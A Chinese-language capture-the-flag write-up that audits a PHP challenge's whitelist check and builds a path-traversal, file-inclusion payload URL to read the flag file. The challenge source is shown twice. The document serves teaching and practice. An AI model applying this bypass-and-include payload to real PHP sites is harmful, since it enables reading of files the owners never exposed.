发现过程:
-
进入到页面只看到一张图片,这时有两种方式来发现代码
a. 进行目录扫描,发现可能存在的目录
b.F12 看html源码,在里面有提示source.php
,直接访问即可 -
看到代码后发现白名单里还有一个文件,尝试访问一下,能够得到flag所在的文件
-
flag·获取步骤如下:
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
//截取传入的字符串
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
//判断截取后得字符串在白名单中是否存在
if (in_array($_page, $whitelist)) {
return true;
}
//url解码
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
//再次判断截取后得字符串在白名单中是否存在
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
//参数是file
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
1. 进行代码审计
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
这其中包含include,联想到文件包含,但文件包含需要通过if
的三个条件,当三个条件都为true
时才会执行文件包含,前两个条件容易满足,最后一个需要看emmm
类中的checkFile
函数
2.查看checkFile
函数
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
//截取传入的字符串
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
//判断截取后得字符串在白名单中是否存在
if (in_array($_page, $whitelist)) {
return true;
}
//url解码
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
//再次判断截取后得字符串在白名单中是否存在
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
这个函数只判断了我们传入的参数中是否包含了白名单里的字符串,并没有对我们传入的字符串做任何修改,所以最简单的想法就是我们传入的参数中必须包含白名单里的字符串
4.构造payload
- 根据第一步代码审计可知参数为
file
,所以构造payload为
http://5c2edc9d-19b2-48f1-8146-1568569d9074.node4.buuoj.cn:81/?file=source.php?../../../../../ffffllllaaaagggg
- 解释:…/:返回到上一层目录